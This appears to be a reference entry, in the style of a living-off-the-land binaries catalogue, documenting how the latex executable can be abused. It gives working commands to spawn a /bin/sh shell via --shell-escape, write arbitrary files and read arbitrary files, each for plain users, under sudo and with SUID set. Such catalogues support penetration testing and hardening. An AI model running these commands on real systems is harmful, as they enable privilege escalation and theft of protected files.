This executable can spawn an interactive system shell.
This function can be performed by any unprivileged user.
latex --shell-escape '\immediate\write18{/bin/sh}'
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
latex --shell-escape '\immediate\write18{/bin/sh}'
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
latex --shell-escape '\immediate\write18{/bin/sh}'
This executable can write data to local files.
This function can be performed by any unprivileged user.
latex '\documentclass{article}\newwrite\tempfile\begin{document}\immediate\openout\tempfile=output-file.tex\immediate\write\tempfile{DATA}\immediate\closeout\tempfile\end{document}'
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
latex '\documentclass{article}\newwrite\tempfile\begin{document}\immediate\openout\tempfile=output-file.tex\immediate\write\tempfile{DATA}\immediate\closeout\tempfile\end{document}'
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
latex '\documentclass{article}\newwrite\tempfile\begin{document}\immediate\openout\tempfile=output-file.tex\immediate\write\tempfile{DATA}\immediate\closeout\tempfile\end{document}'
This executable can read data from local files.
This function can be performed by any unprivileged user.
latex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{/path/to/input-file}\end{document}'
strings texput.dvi
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
latex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{/path/to/input-file}\end{document}'
strings texput.dvi
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
latex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{/path/to/input-file}\end{document}'
strings texput.dvi